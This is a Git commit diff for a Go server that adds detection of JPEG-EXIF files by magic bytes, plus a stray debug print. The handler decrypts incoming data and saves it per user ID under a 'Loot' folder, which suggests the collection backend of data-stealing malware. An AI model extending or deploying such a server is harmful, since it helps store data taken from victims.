Add jpeg with exif format
This commit is contained in:
parent
323b6e1f82
commit
a187f22869
@ -18,6 +18,8 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
var jpegExif = []byte{0xff, 0xd8, 0xff, 0xe1}
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
host := "0.0.0.0"
|
host := "0.0.0.0"
|
||||||
port := 8080
|
port := 8080
|
||||||
@ -192,12 +194,18 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fmt.Println(data[:4])
|
||||||
|
|
||||||
var fileTDef string
|
var fileTDef string
|
||||||
if fileType != nil {
|
if fileType != nil {
|
||||||
fileTDef = fileType.Extension
|
fileTDef = fileType.Extension
|
||||||
|
} else {
|
||||||
|
if(string(data[:4]) == string(jpegExif)){
|
||||||
|
fileTDef = "jpeg"
|
||||||
}else{
|
}else{
|
||||||
fileTDef = "unknown"
|
fileTDef = "unknown"
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
uid := strings.TrimSpace(string(uidB))
|
uid := strings.TrimSpace(string(uidB))
|
||||||
folderPath := fmt.Sprintf("Loot/%s", uid)
|
folderPath := fmt.Sprintf("Loot/%s", uid)
|
||||||
|
Loading…
Reference in New Issue
Block a user